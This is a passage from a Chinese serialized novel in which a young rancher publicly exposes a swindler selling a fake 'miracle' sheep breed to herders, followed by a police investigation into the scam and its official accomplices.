全中国多大？最冷的地方和最热的地方能差多少度？哪有某种羊能完全适应各地的气候？顶多说是适应性强的羊能在别的地方都生存下来，但是在此情况下，必然会带来可能食欲不振，可能易生病，进而影响长肉率或者生育的问题。 像是耐寒的羊，人家的羊毛更密，皮下脂肪更厚，还有一些控制加速代谢产热的基因、适应高原寒冷低氧的基因，减少肢体末端热量散失的基因等等。 而耐热的羊，一般毛发短而稀疏，汗腺发达，从而调控汗液电解质平衡，增强排汗能力，还有抗寄生虫与免疫的基因相对更丰富，更耐高温等等。 这些基因怎么同时在一头羊身上出现？到底谁能让一头羊的毛又密又稀疏？ 姚新泉在心里给他判了个死刑，死骗子！ “那长肉的情况呢？” “我们的数据中也有体现，六个月能出栏的羊羔体重能达到55公斤！” “诸位是不是以为我们喂了什么特殊的饲料？”马进宝笑得志得圆满，看得姚新泉真想砰砰两拳捣他个乌眼黑！ “对啊”，有人一听就附和，“你是不是喂什么饲料了？是不是老贵了？我们买羊还得跟着买饲料？” 另一人道，“这可不成，那这是卖羊还是卖饲料？这样以后我们难不成每个月都得从他那边买饲料回来喂？我可买不起，算了算了，不买了！” 马进宝摇了摇头，笑叹，“老同志你这就想多了，你倒是听我把话说完啊！” “我们这羊，从头到尾只用吃草，其他什么都不用喂！” 众人一听人都傻了，吃草？吃草？草有什么成本？草的话那就相当于没有成本！ 那不就是净赚？ 姚新泉实在听不下去了，她站起身来，手上的笔记本放在桌子上发出不轻不重的声音，但配合上她冷峻的表情意外地将周围嘈杂的人声都镇住了。 台上的赵强精神一下就来了，看向姚新泉的目光中很是复杂，他又希望揭穿这人的真面目，也希望这人真能靠谱，真有这种一百分的羊。 唉！ “马同志，我有几个问题好奇想问一下，方便正面回复一下吗？” 马进宝有些懵，心里也有些不好的预感，但都到了这一步他本身也只能继续走下去。 “你说。” “那我一个一个来”，姚新泉换了个姿势让自己站的更舒服，“你刚才说羊能够在六个月内只吃草长到60公斤，你是说某一头的体重还是平均数？” 马进宝，“当然是平均体重。” “你说这羊能适应全国各个地方的气候，请问你们做过测试吗？分别是什么时间在什么地方做了几轮测试，测试结果分别如何？” 马进宝被她问得一懵，愣了一下赶紧道，“这些我们的资料里都有记录的。” “资料？”姚新泉冷笑着反问，“资料里没有准确的时间，地点也只是说某省某厂，却没告诉我们具体地点，只是一个代号而已，我们养殖户怎么确认这些厂是真的存在呢？” “还有测试时间呢？你们是通过多久的测试得到这个结果的？” “是否有小范围推广过？在哪儿推广的？推广数据如何？” 她无奈笑了笑，“我也不为难你，你既然来我们新省推广，新省这么大，你最起码得在哪里试着养几次吧？在哪里呢？是国营牧场还是兵团牧场还是私人牧场？” “马同志，方便正面回答一下吗？” 第144章 马进宝很想说,不方便！ 他脸都黑了，一时间被姚新泉问得头大，这姑娘看着年纪不大怎么这么犀利？ 可到底这行不是每个人都能干的,马进宝深吸一口气平复了下心情,“这位女同志,你如果想让我说出具体是在哪里的哪家牧场做的实验,那我确实没办法告诉你,因为这个属于我们的商业机密。” 姚新泉冷笑,“商业机密？我只是在问你们在培育出丰收三号之后是在哪个牧场测试能否适应的，我们通过具体位置才能更好地去确定这种羊到底是否适合本地去饲养啊？” 她看了看周围穿衣打扮各不相同，但是能看出来全是劳苦大众出身，辛辛苦苦一辈子才有了今天这些家底的普通老百姓们,她的语气更沉了沉,“我不是非要跟你呛,就算不说种羊，哪怕是小羊羔，一头两头不算贵,百十来头呢？更别说种羊了,这都是要钱的啊！总不能说是你跟我们说全国都能适应，我们连怀疑的权利都不能有了吧？” “是啊”,有人没忍住声援她,“你说得那么好,我们只要知道你在哪里试着养的,那我们至少得比对比对那边的气候跟咱这边一不一样啊！” “马同志，你怎么说？” 马进宝心里已经在组织语言了，心里有了底便也没有方才那么慌张了，“我没办法准确记住我们在全国各地的每一个试养点,但是每个试养点都是有数据记录的，如果诸位有兴趣的话我回头跟研究院那边要一下数据，看看能不能传真过来，到时候再请诸位来看看！” 众人听到这不免都看向姚新泉，就见姚 新泉冷笑一声，“哦？试养数据不清楚，养了多少不清楚，养了多长时间不清楚，那看来马同志做的准备不是很充分呢！” 马进宝没有理她，他看向赵强，声音低不可闻，但语气却没那么好，“赵会长，这可是自治区很重视想要推广的项目，你们县的牧民如今这个态度你也不管管？” 赵强嘴角微不可察地抽动了一下，他看向马进宝的目光满含深意，“马同志了不得啊！” 马进宝目光冷然却没有再说什么，只是看着他笑了一下。 赵强心里又是不忿又是憋气的，他目光不自觉地向台下看去，正巧撞上了姚新泉的目光，他只觉得姚新泉那眼神很是复杂又满含深意。 赵强苦笑，却硬是没有避开姚新泉的目光。 姚新泉了然地收回了视线，就见马进宝干脆站起身来走到众人面前，他轻轻拍了拍手，“诸位，我知道有时候口说无凭，而且这东西太好了难免让大家难以信任。但是我们这是自治区重点项目，同时也是两个省的合作项目，是有官方背书的！另外这也是经过两个省农科院的认证，我这里都是有文件的！” 他又掏出了一份盖着农科院红章的文件，还特意递给了姚新泉，示意她看看。 姚新泉翻看了一下，这是一份技术咨询意见，大概就是记载了这个品种的羊的一些数据，她翻到了最后一页，看着意见书里的结论部分，“丰收三号在特定环境下表现良好。” 她又翻回了前面，还是只有一些数据，姚新泉一时也看不出这文件有什么问题，但就是觉得这句话怪怪的。 她看向文件底部的红章，公章颜色鲜艳并且非常完整，无论是汉字还是维文都是农科院的名字，看着好像没什么问题。 但是这个章这么红，真的不太像带出来这么长时间之后的状态啊！ 姚新泉没说什么，马进宝以为她被吓到了，他暗暗勾唇一笑，朝旁边一人抬了抬下巴示意去准备。 “我们也不是空手而来，毕竟口说无凭不是吗？所以我专门带了两头种羊过来，一公一母，让大家看看我们种羊的质量！” 这么一来在场众人的心明显偏了，也不再去关注姚新泉说了什么，反倒是拉着马进宝问这问那。 姚新泉也趁机起身走向赵强，她在赵强面前沉默了一会儿，赵强也没着急说话，过了许久她才问，“赵会长，这羊确实是农科院认证的吗？是自治区重点项目？还是合作项目？” 老实讲，她不信。哪怕过会儿羊送到她面前了她还是不信，但有时候又不免在想，是不是自己懂得太少了，不过是井底之蛙，所以才不敢相信原来外面的天空那么大？ 赵强沉默了许久，最终还是扯了下嘴角，“小姚，咱们协会只是提供个平台，或者严格来说连平台都算不上，只是场地，不参与具体交易的。” “你相信他说得吗？”姚新泉觉得可笑，这算什么呢？明哲保身？他难道以为如果这件事情真的暴雷了，他能凭借这些可怜的话术躲掉？ 赵强又沉默了，半晌抿了下唇，“小姚，我虽然是行业协会的会长，但是我是从体制内转来的，我没亲手养过羊，更没有研发过，我没办法肯定地回答你这羊有没有问题。但是我能知道，我能肯定的是，上面确实有人联系过我跟我说让我配合工作。” 他有得选择吗？ 从来都只有一条路能走。 姚新泉知道他的意思了，也不想勉强。虽然没得到直接的答案，但是她看得出来，赵强是不信的，这种不信因为上面人的安排工作只会加深怀疑。 如果真是上面重点项目，甚至是两个省的合作项目，算了，姚新泉摇了摇头，她没参与过这些事情，无法确定真有这种项目，上面领导会不会特意打电话叮嘱，还是只是公事公办。 但这事儿就是不对！ 她回到了座位上，抱臂靠在椅背上看着在人群中如鱼得水的马进宝。 他们相信了。 或者说牧民们是真的打心眼儿里希望能有这种所谓的只需要喂草就能在半年出栏长到60公斤的羊。 没一会儿种羊被牵了进来，姚新泉的目光也落在了羊的身上。 老实说，这羊看着真好！甚至比教科书上那种标准的种公、种母看着还要优秀！ 只看外表绝对是牧民眼中的梦中情羊！ 一群人都控制不住凑了过去，姚新泉也凑了过去看。 首先不得不说，这两头羊收拾得真干净，雪白的羊毛看着就让人心情好，有老汉带着皮尺在测量羊身体数据，还有人在摸它的毛，掰开嘴看牙齿等等。 “嚯！”测量的人惊叹，“这公羊身高都85公分了！胸围也有115啊！” 这公羊后臀肌肉如两块倒扣的铁锅，站立时更像一座移动的肉山，看着就让人觉得它的后代必然也是像它这样的大个头！出肉率高啊！ 马进宝这下根本懒得看姚新泉了，只觉得这小丫头片子看着伶牙俐齿的，实际上不值一提。 他开始给大家就近介绍，他走到公羊身后，抬起羊尾巴给大家看，“看这□□硕大饱满，说明什么？说明人家配种能力强！我们还测过了，这家伙的冻精存活率能达到90%以上，后代生长速度更是提升40%。” 牧民们都疯了，也不再去想这合不合理，全被近在眼前的利益所吸引。 生长速度高代表什么？代表投入的时间、金钱少但是回报高啊！ 这说明什么？说明要发财了！ “再看这毛”，他扒拉开公羊的毛给大家看，“你们看着羊毛的毛色纯白如雪，毛非常密很耐寒，在咱们自治区的试验牧场测过了，去年冬天将近零下40度的天，成活率100%！” “还有，因为我们今天带来的是优秀种公，半年的小羊羔没带来，但我带了我们当时去拍的照片，诸位可以看一下！” 他高高举起照片，脸上带着激动的潮红，眼神中的狂热似乎已经引燃了周围除了姚新泉之外的所有人。 这一刻姚新泉甚至不敢确认到底是自己疯了还是他们疯了，合理吗？正常吗？都是养了这么多年羊的老手了，就不觉得太夸张了吗？ “看看，6月龄实测体重64公斤，料肉比仅2.2:1，仅靠苜蓿草就能达到！” 姚新泉面无表情地听着，料肉比2.2:1？开什么玩笑？ 小羊羔确实生长速度比较快，但是大多数情况下能到3:1就算是非常优秀的了。 那些育肥的羊一般在4:1到6:1之间，也就是说即4-6公斤饲料增重1公斤活重。 去年姚新泉育肥的那批羯羊，她后面算了一下，因为科学喂养，又是费时费力费钱的情况下，勉强能到3.3:1，这已经是非常非常难得的了。 2.2:1？姚新泉冷笑，怎么不吹那羊每天吃着西北风，喝着晨露就能每天长2公斤呢？ 不都是吹吗？就吹6个月长到100公斤好了？不够的话那就500公斤，羊跟牛一样重，都能去评那什 么吉尼斯世界纪录了吧？ 放卫星嘛！这有啥的，往大了吹，往死了吹！ 姚新泉看着这些人堪称狂热的表情，看着马进宝激动下隐藏的得意，看着无奈却最终还是选择置身事外的赵会长，她垂下了眼睛，好想锤死他们啊！ 第145章 “刚才给大家看了种公,现在咱们再看下种母”，马进宝拉着大家看向那头母羊。 “看看，这羊骨盆宽大,□□发育极佳,单日产乳超过4升,可轻松养3只羔羊！” 他笑嘻嘻地拍了拍那羊的屁股,眼神意味不明地扫了一眼姚新泉,“看看,这就跟女人屁股大能生儿子一样，看我们家羊这体格子，能生能养！顶好的母羊！” 在场的男人哈哈笑了起来，马进宝又接着道,“我们家这母羊8月就能配种了,发情周期特别稳定,一年两胎，平均下来每胎2.8只羔羊！” “嚯，那岂不是基本上每胎都是三胞胎？这羊可这能生啊！” “可不是,我家的羊有十分之一能双胎都是走运了！人家培育的可真好！” 马进宝笑得得意,“经过我们统计数据，羔羊出生平均重5.5公斤,15天开始就能纯吃草,这奶不就能拿出来卖了？而且羊羔的成活高达率98%以上！” 姚新泉闭了闭眼睛,这真是把人当傻子哄,关键是他们还都信！ 平均5.5公斤，一胎三只，那只羊羔的重量就16.5公斤，他们都没养过羊吗？ 胎儿就这么重,还有羊水之类的呢，加起来不得20公斤？ 母羊的体重估计都没过60公斤！等于胎儿加附着物的重量占母羊体重的33.3%！ 有数据记载的，当妊娠附属物总重超过母羊体重的10%~12%时，就有很大可能引发难产或代谢疾病，这是多少？33.3%！ 北疆这边普通单胎羊羔出生时的体重大概在3-5公斤，孕期营养良好的才能达到上限，等于说他家这什么狗屁羊三胎里每头的重量比人家单胎还重！ 开玩笑呢！ 就像人家都说某个人生了个八斤的大胖小子，出去问问，哪个能一下怀3个八斤的大胖小子！ 这在姚新泉心里是想都不敢想的事情，他们就敢。 她都不觉得生气了，就觉得可笑，太可笑了，想钱想疯了是吧？ 还存活率98%？ 姚新泉家里到目前为止牛的存活率能达到100%，羊的她不敢说100%，但98%是有可能达到的。 但她做了什么，这些人做了什么？ 要想羊羔存活率高，最好的办法是要调整母羊的怀孕分娩时间，接春羔的好处就是温度高了，小羊不用一出生就面对恶劣的大雪天气。 但是现在不是所有牧民都会这样去做，据她所知还有不少牧民不太管这个。羊发情了就配，配了就生，那这样的话全年都有小羊羔，天冷的时候生的自然没办法保障存活率。 另外不少人其实没有什么固定的棚圈，还是传统的粗放模式，无论是野生动物的攻击还是别的，都会影响到的。 她家的羊，从怀孕后期就开始补充营养，生产后她又给调整饲料，就希望母羊吃得好，羊羔喝的奶也能是最好质量的，提高抵抗力。 但并不是所有牧民都会去科学补充营养，甚至冬天的饲料准备都不一定充足，这种情况下，羔羊初生体重低、抵抗力弱又得死一批。 还有接生的问题，她那是专门跟系统学的医，也许在系统外她经验没那么足，但是在系统里，她的经验那可是在治死了无数头牛羊马的基础上练出来的技术啊！ 不少传统老牧民在断脐上都处理不好，一感染不又没了？ 在诸多因素的影响下，普通牧民家里的羊羔平均存活率能到80%已经算不错了。 还98%？ 姚新泉觉得挺可笑的，说科学喂养的时候一个个的也没见这么激动，说天上掉馅饼的时候一个个嘴张得比谁都大！ “我想大家也在想，我们的羊只吃草怎么会长得这么快这么好？这一年怀几次，一年生几个是由基因决定的，那只吃草长这么快又是因为什么呢？” 有人被他牵着鼻子走便问，“是啊，为什么呢？” 马进宝双眼亮的吓人，“当然是因为我们掌握着最新的技术！苏联最新‘瘤胃高效发酵技术’，让羊只吃草也能快速增重！别人一年长到50公斤，我们半年长到60公斤！” “我们承诺，只要买羊，我们就送技术！别说什么一年两年回本，我让你们半年赚翻！” 气氛彻底被炒起来了，每个人都觉得好运终于降临到了他的头上，原来发财竟然如此简单。 在有人问价格，马进宝准备回答的时候姚新泉又一次站了起来，“我有几个问题比较好奇，想问问你。” 她的情绪比一开始平和许多了，这人身上破绽太多，但是他们已经被马进宝所描绘的美好明天彻底唬住了，他们不会也不愿去想事实到底是什么样的。 姚新泉不是什么不图回报的大好人，但是她自己就是牧民，她太知道牧民的不容易了，如果可以，她不希望这些人只是为了买个教训就损失这么多。 这么好的羊，用脚指头想都知道不会便宜啊！ 马进宝脸上的笑意淡了，但他还是点了点头，“你说。” “这两头羊为什么会这么平和，到了人多的地方既不紧张也没有攻击性？” 没煽过的公羊脾气和煽过的没法儿比，领地意识也强，动不动就顶人，她小时候跟着放羊就见到过两头公羊对着顶，直到一头把另一头的羊角撞断。 没煽过的公羊可不是什么温驯的小绵羊。 可眼前的两头，眼神黯淡无光，不吭不响不动弹，要不是还眨眼睛，她都要怀疑这是两个标本了。 “这就是我们培育出来的特色啊！”马进宝眼珠子一转便道，“传统种公不好驾驭，我们这种公性格好还不好吗？” “对啊，种公性格好，在配的时候还不会攻击母羊呢！” 那些可以用一句商业机密无可奉告打回来的问题她根本懒得问，“你说去年在咱们自治区零下四十度的天测过，还是能存活，是哪里呢？我不问具体的，只说市就可以。” 马进宝暗暗咬了下嘴唇，一时间被问住了，他不是本地人，一时间想不到有哪些地名，只能报了自己才去的地方，“就和田啊！” 有人脸色不大对了，忍不住怀疑，“和田？” 马进宝擦了下汗，“反正就那周边几个城市，太具体的我也没办法跟你说。” 姚新泉轻笑，“准备工作做得不够充分啊！” 不等他解释便道，“你说的和田位于南疆塔里木盆地边缘，因为冷空气被天山阻挡的原因，算是全疆冬天温度比较高的地区了，最高温度能到零下五六度，最低的时候也就零下二十来度，哪里来的零下四十度，请回答我！” 见马进宝一时间没想出借口来，她又接着问，“你说羊一年两胎，一胎两到三头，那你家的母羊每次生完后是否需要恢复就可以直接配，还是妊娠期更短？” “我家羊是恢复时间短！”马进宝笃定道。 “多久呢？” 这个问题他早就准备过答案了，所以很确定地回答，“不到一个月！” 众人又激动了，这么短时间就能恢复啊！ 姚新泉轻笑，眼神却不含一丝温度，“母羊生产后是会排恶露的，正常羊大概会持续3周左右，有些高产的羊时间会缩短，大概也有一两周。” “同时子宫还要回缩回原来的大小，这个时间最起码得6周左右。” “你家羊的发情期是什么时候？哪个月还是哪个季节？” 马进宝擦了下汗，“春，春秋！” 姚新泉轻笑， “原来不是全年发情啊！那这样的话你怎么保证母羊刚生产完休息一个月就立马进入春秋的发情期？同时还要一年两胎？” “这是商业机密，不能告诉你！为什么我家羊好？那是有技术支持的！你以为什么羊都能做到吗？” 瞧他色厉内荏的样子姚新泉摇了摇头，“养羊的人都知道，如果在母羊没恢复好的情况下去配，即便真在发情期，这完全就是涸泽而渔！” “如果恶露没排干净可能会感染或者子宫内膜炎等炎症，影响产乳量，影响羊羔的健康，更影响母羊。” “后续还会导致母羊不发情或者发情延迟，或者受孕率下降甚至没办法怀孕，这大家都知道不是吗？” 她步步紧逼，“还有那什么苏联的技术，马同志啊马同志”，姚新泉满脸嘲讽，“你不会不知道苏联解体了吧？” “也许曾经苏联确实是全球最大的绵羊生产国之一，他们也有世界上都比较出名的苏联美利奴羊，但时代不一样了！” “苏联解体导致集体农庄体系崩溃，饲料供应、兽医服务等产业链断裂，苏联国内的畜牧业遭到了巨大的打击，你跟我说在这种情况下他们还出了世界上最新最顶尖的技术？” “你的意思是人家国家都改头换面了还有人在埋头研究技术，并且还把技术给了你，你又免费给了大家？” “还是说你或者你那个研究院在苏联国内动荡不安的情况下，出人出力出钱隔着千山万水庇护了他们，他们出于感激，或者什么为了两国邦交又或者是生怕人活着钱就没了所以冒着大风险和你们做了这桩生意？” “我挺喜欢你这个笑话的，再讲两个来听听？” 第146章 马进宝脸色铁青,他此时恨不得一棒子敲死姚新泉，“你不要在这里胡说八道，我们这是政府的项目,怎么可能允许你诋毁？” “你说,你这些话到底是什么目的？” “你是冲着我来的还是冲着我们羊来的？还是冲着什么别的？总之你就没安好心！” 此时一人突然想到了什么,他有些迟疑问道,“我听说你家里正在培育一种新品种的羊,想要高产多胎是吗？” 马进宝眼睛一下亮了,翻身的机会来了！ 他做出如梦初醒的模样来，“我说呢，我说呢！我说我们一个好好的国家项目，背后站着两个政府和两个农科院,报告文书我给你看了一沓子,你都鸡蛋里挑骨头,挑出一堆刺儿来！” “原来你是想把我赶走然后自己做这门生意是吧？你不过就是一私人老板，你们研发出什么优良的品种来，你可别出来丢人现眼了！” “我相信有些朋友也会觉得我为什么很多问题回答不上来,那是因为这羊确实不是最终版的,未来我们还有四代、五代、六代，那都是要在三代的基础上继续更新,吸纳更多优良的基因,争取让咱们得羊高产多胎的同时不爱生病,肉质还得足够好！” “这么好的羊还能再改进啊？”有人疑惑。 马进宝哼了一声,眼神不屑，“那不然呢？” “我也老实说了吧，这种好东西你们私人老板还能捞的着，等将来那更好的四代五代六代出来了,你们真以为没背景的小老百姓想养我们就会给吗？我们N省背后还有你们自治区背后多少国营的牧场等着赚这拨钱呢！” “那你是卖种羊还是卖小羊羔子啊？” “就卖种羊，你们这边太远了，小羊不方便运输，到时候你们多买点，自己回去繁育也一样！” “那你种羊怎么卖的？” “公羊3500一头，母羊1500一头。” 众人被他这话炸了个大跟头，就连知道他没安好心的姚新泉都愣住了，五十头母羊那就七万五了啊！如果他们都买，光这一个小屋子是不是就几十万？ 疯了疯了，全都疯了！ “这也太贵了吧？”一个老汉听完手都抖了起来，市场上一头种公也就最多500块，种母三四百的样子，这都多少倍了？ “老人家，一分价钱一分货，五六百你想买我这样的羊，那你不如回家睡觉去，梦里啥都有啊！” “我跟你算一笔账，你买五十头母羊，一头就算生2.5个，一年就能生250只小羊羔子，就算里面只有125头母羊，再过一年，你家里就875头小羊羔了！你不就发了？” 八百多！八百多！ 这几个数字萦绕在他们脑海中赶都赶不走，气氛压抑，但姚新泉能感觉此时就像暴风雨前的海面，平静随时都有可能被搅乱。 她突然起身，在众人的目光中走到了门口，但最终还是停了下来，“我姚新泉做人做事坦坦荡荡问心无愧，大家谁口袋里的钱那都是血汗钱，都是一分一毛苦出来的，没哪个是从天上掉下来的。” “我刚才说的那些，还有我提的问题，他的回答如何，这个什么狗屁丰收号到底靠不靠谱，我相信你们心里也都有数，我话尽于此，你们好自为之”，说完推门便离开了。 赵强看着关上的会议室门抿了抿唇，眼中满是晦暗可到底什么也没做。 马进宝脸上的得意根本掩饰不住，更大声招呼了起来，“先到先得数量有限，前三名订购的打九折！” 但到底有人还是坐了下来，胸膛中的热气褪去后他们才能冷静用眼睛去看用心去听，他们所看到的到底是繁花朵朵还是一地腐烂。 赵媛媛见到姚新泉出来愣了一下，“你咋出来了？结束了？” 姚新泉摇了摇头，没什么心情和她寒暄了，另外她不可否认，因为赵强的原因，她现在也不怎么想和赵媛媛深交。 没错，就是迁怒。 “我还有事就先走了”，说完点了下头便走了。 赵媛媛一头雾水地看着她，“这是干嘛啊？” 姚新泉出了大门后被太阳晒得睁不开眼睛，她挡着眼睛看了会儿太阳，眼睛都看酸了。 半晌无奈叹了口气，“我就不该管这破事！” 半个小时后坐在楼宇办公室的凳子上，吃着他买的冰棍，她把今天的事情说了一遍。 楼宇的同事们也在，估计是因为今天不忙，大家都凑在一起听八卦，有人没忍住问，“真有一胎三头一年双胎的羊啊？” “真有，但不会是他那个”，姚新泉回答的很肯定，对上其他人好奇的目光，她这才解释了起来。 “像是国内，高产多胎的羊最有代表性的就是湖羊，它们主要特点就是四季发情、多胎多羔，国外的话像是澳大利亚的布鲁拉羊，前苏联他们的罗曼诺夫羊，芬兰的兰德瑞斯羊，美国的波利帕羊等等，基本上在饲养得当的情况下能做到，但是麻烦也多。” “它们之所以能多胎多羔，一方面是它们基因里携带的东西，另一方面还得有科学的管理，科学的喂养和照顾，尽量将频繁生产对它们身体的损伤降到最低，但不是没有。” “普通用于繁育的母羊能生五到八年，这种频繁让它们一年两胎的羊搞不好三年就得淘汰，如果把一年两胎改成两年三胎，也许也能繁育七八年，你说觉得哪种更合适？” 其实都不用算，最理想的状态就是本身高产的羊两年三胎生上五六七八年，但是也难啊！ “这种情况在孕前要照顾，妊娠期还得分前中后期调整营养，分娩后也得调整，这才叫科学喂养。” “好复杂”，楼宇感慨，“你现在懂得可真多啊！” 姚新泉苦笑，“我要吃这碗饭自然不能糊弄过去啊！” “至于我为什么说他那个不可能是，我之前托关系从国外进了一批杜泊羊，那时候我联系过乌市那边的一个教授，没听说咱们自治区或者N省那边有引进过国外品种。而且国外引进牲畜的防疫很麻烦的，他的材料里完全没有提到关于隔离或者防疫的问题。” “而且我说句不好听的，现在人都觉得外国的月亮比较圆，他是过来推销的，如果这羊的母本或者父本是外国品种，他会不拿出来宣传？” 众人摇头，确实是这样啊！现在啥东西好不好不说，但基本都是国外的更贵！ “我退一万步讲，就算真的是这样的羊，那为什么完全不提饲养难度，这不也是虚假宣传吗？还是说到时候没办法达到他所宣传的效果可以甩锅给牧民说他们不会饲养？” “我问他们在哪里试养的不说，结果说去年在南疆和田那边零下四十度百分百存活？” 有个女警眉头皱了起来，“我姐嫁到和田去了，她说去年是个暖冬啊！哪来的零下四十度？” “可不是？”姚新泉摊手，“还有那些文件，我记下来了一个咱们自治区 农科院的人名，叫王爱德，他在里面写了一句话，说是这个丰收三号在特定条件下表现良好”。 “什么叫特定条件？还是说从小羊出生后我就把它关在圈里，一天三顿地喂精料，然后半年长到60公斤？这种谁都可以，但是成本呢？成本不算的吗？” 吃草啥成本，□□料啥成本？ 众人这下是真的觉得不对劲了，“都买了吗？” 姚新泉苦笑，“我走的时候他刚报价，价格不低，一头公羊要三千多，母羊也要1500，我估计大家还得考虑考虑吧！” 楼宇大概算了下牙都开始疼了，“如果真成了，那这估计要上百万啊！哪来的钱，不会再去贷款吧？” “不行，得跟领导说一声”，楼宇赶紧去了领导办公室，没一会儿领导也出来了，他沉吟了一会儿，“我们接到热心群众举报，说那附近有可疑陌生人出没，去摸排一下吧！” 等出去了几人后，他也没避着姚新泉，给市里几个领导打了电话，市里对这个事情很是重视，立马安排人介入并去核实那人所说的事情。 “你别担心，有官方介入后什么牛鬼蛇神都会被查出来的！”领导安慰了一句，姚新泉苦笑。 领导瞬间便明白她在想什么了，他失笑，“你这个小同志心态很悲观嘛！就算里面有一些看似官方的文件，但你怎么知道不会是某个人的思想出了问题，做了坏事呢！” 这两年经济改革，不少国企都面临着非常严峻的问题，有人是因为自己自身难保，所以难免会行差踏错。 但也有人本身就等着这个时机，就等着能去捞一笔，捞完之后基本都往外跑了。到时候不管引不引渡都是问题。 “谁也不能保证干部中没有坏人，所以就需要你这样的同志对我们进行监督啊！”领导蛮喜欢姚新泉的，年龄不大但是敢想敢做，最重要的是她的心特别正！ “小姑娘入党了吗？要不要我介绍你入党？” 第147章 姚新泉没想到他会说这个,一时间倒愣住了。不等她回应，领导倒是笑了一下，“你瞧我,你不管是工作单位还是常驻地址都不是在市里,我也不好做你的介绍人让你入党,先不提能不能成,就算能成,你之后参加党员活动也麻烦。” “不过我是觉得你可以考虑在你们县入党”,领导声音中满是认真，“入党的过程本身就是对你思想觉悟、政治素养和工作能力的全面提升。我听说过你，你是你们县少有的直接考出去的大学生，回乡后不少事情里都有你的身影。” 他没跟姚新泉开玩笑,到他这个年纪,又在这个位置上,朋友关系不说遍布整个市，但绝对也不会止步于自己眼前的一亩三分地。 不管是年初她家的高价羊还是后来他们县的排污事件，还有这次的暴雨,多多少少都有她的影子在里面,还基本都是正面的。另外他也有战友还在部队里，说是她好像还在接收人家那边的战马进行救治,反正感觉是做了不少事情。 “你的思想觉悟还是很高的,咱们党员本身就是要在社会主义建设、民族团结还有维护社会稳定等方面做出贡献。你有这个能力,又是年轻人,组织需要你这种新鲜血液。” 见姚新泉没表态，他想了想又道，“功利一点说，如果你成了党员,未来你想要发声那比现在要轻松一些，而且还会有相关培训能够提升党员的综合素质，同时在一定程度上也能提高你的社会公信力，更方便你实现个人价值，像你培育的羊。” 不等他说完姚新泉赶忙打断，“您误会了，我没有拒绝的意思，我只是一时没想到我也能入党，不是不愿意。不过我就算入党，即便我没办法做出太多帮助其他人的事情，但是我也不会说是借着这个身份去做什么的。” 领导本想拍拍她的肩膀，但到底碍于是个年轻女同志，不着痕迹地收回了手，“你能这样想就很好，那你回去可以把这个事情准备起来，如果你找不到介绍人你回头跟楼宇说，我帮你找人推荐。” 姚新泉又感谢了几句后这才离开。 她没直接回去，在路上找了家服装店，进去给师月江买了几件棉质短袖，又买了几条方便干活穿的休闲裤或者运动裤。 这家伙身上穿的衣服都不便宜，姚新泉倒也没替他心疼，反倒是他自己主动说穿平价的就可以，他那些衣服，随便一件出来都能抵她半头羊…… 姚新泉回了牧场后没再关注这个事情，倒是师月江听说后没忍住出去打听了下情况。 姚新泉听罢眼皮子直跳，“你说他们已经跑了四五个市了，都成了？”这骗局根本谈不上完美，甚至可以说是漏洞百出，如果许多人上当，那只能说真的是被赚钱迷花了眼睛…… 师月江苦笑着点头，“他们一路从北边过来，途敬的地方的基本每个市都去过一遍。” “订购的羊都给对方送货了？”姚新泉抱着一丝侥幸心理问道。 师月江摇头，“我听说是约好了九月的时候把羊送到，所以在此之前他们还都算安全的。” “那现在确定他们是骗子了？” 师月江点头，“人已经控制起来了，但钱”，他迟疑了一下，“未必追的回来。” “为什么？”姚新泉不解，这不是赃款吗？ 师月江苦笑着摇了摇头没在说话。 另一边，这案子是楼宇他们分局先接到报案的，所以后续也是他们办案，但因为查出案件牵涉的地方太多了，又跟他们体制内挂钩，所以市局下来人配合办案，等越来越多的问题浮出水面后自治区公安厅下来督办了。 “几个问题，第一，马进宝确实是N省农科院的人，只是两个月前辞职了，之后农科院的人就再没联系上他过，那背后的人是怎么选择的他？会不会还有类似的情况发生？他们选择的时候有没有什么倾向性？” “第二，咱们自治区农科院里那位工作人员的签字属实，但去人询问后他只是说看材料在特定情况下喂养确实能体重达标，他还在不符合农科院规章制度的情况下用了印章，这是他的个人行为还是什么别的？背后还有没有其他人？有没有查到他最近有什么大额来源不明的财产？” “第三，仅仅只是盖了章的文件，但是农科院并没有出任何函件要求或者是请求畜牧业协会配合他们去推广这个所谓的良种，那到底是谁向市协会联系要求全力配合良种推广的？” “第四，在市内办这种良种推广会是否符合要求和程序，赵强有没有违规甚至犯罪的问题？” “第五，现金到手后他们倒了几手通过一家外贸公司做了进出口贸易下了不少订单，这钱不在境内了，能否通过其他方式去要回来？当然了这点不是咱们几个小警察能解决的了的，后续咱们可以继续跟进这个问题。” 领导拍了拍手示意大家打起精神来，“这只是最基础的问题，里面还杂糅了不少需要咱们去了解和解决的问题，快，都动起来吧！来指导工作的领导在路上了，大家打起精神，把咱们的精神面貌都展现出来！” 楼宇年轻，也没什么办案的经验，所以跟着一位年长些的同事去了协会找赵强。 赵强见到两人来也没觉得奇怪，甚至可以说是意料之中，他消息算不上灵通，可到底是行业内的事情，又是在家门口发生，所以他也知道一大早那个马进宝就被控制住了。 “二位有什么想问的吗？” 楼宇看了他一眼，那眼神虽然不至于饱含鄙夷，但态度也说不上好，一旁的老警察没好气地瞪了他一眼，心想着回去了还是要好好说他一顿，怎么能随便给人下有罪推论呢？ 再说了，赵强现在连犯罪嫌疑人都 算不上，也只是询问而已。 赵强满不在乎地笑了笑，“有什么你们想问的就问吧，我知无不言。” 之前他还抱着侥幸心理，觉得未必会到最坏的那一步，但现在看来，人是真的一点儿都不能有坏心眼儿啊！ “你跟我们说一下马进宝是怎么找到你直到开这个良种推广会的全过程吧！” 赵强点了根烟，点完后才有些不好意思道，“不介意吧？” 老警察摇了摇头，楼宇在一边拿着本子等着记录。 “一个星期之前吧，国营良种场那边有一位科长给我打电话，说是有个良种推广的事情需要我配合。我当时其实觉得有点奇怪的”。 老警察忙问，“怎么说？” 赵强吐出一口烟圈，“我们单位和良种厂其实不是上下级单位，能说一句兄弟单位也是给我们面子了，不过我们在某些工作中其实确实是有点上下级的那个意思，比方说他们培育良种，我们推广良种，做好技术落地工作。” “但你们也是体制内，你们是知道的，这种合作不是说你们领导给我打个电话我就能搞定的，得发函，得有文件，而不是咱们谁空口说的。” “比方说让畜牧局那边通过行政文件将良种推广目标分解给良种厂，同时要求协会配合宣传、培训。” 他脸上带着后悔，同时又有后怕，“这次让我奇怪的地方就是，在这个所谓的良种推广之前，我从来没有听说任何消息，说咱们良种厂接到了这个任务，就好像突然冒出来了这么两头羊，我觉得特别不可思议，不可置信。” 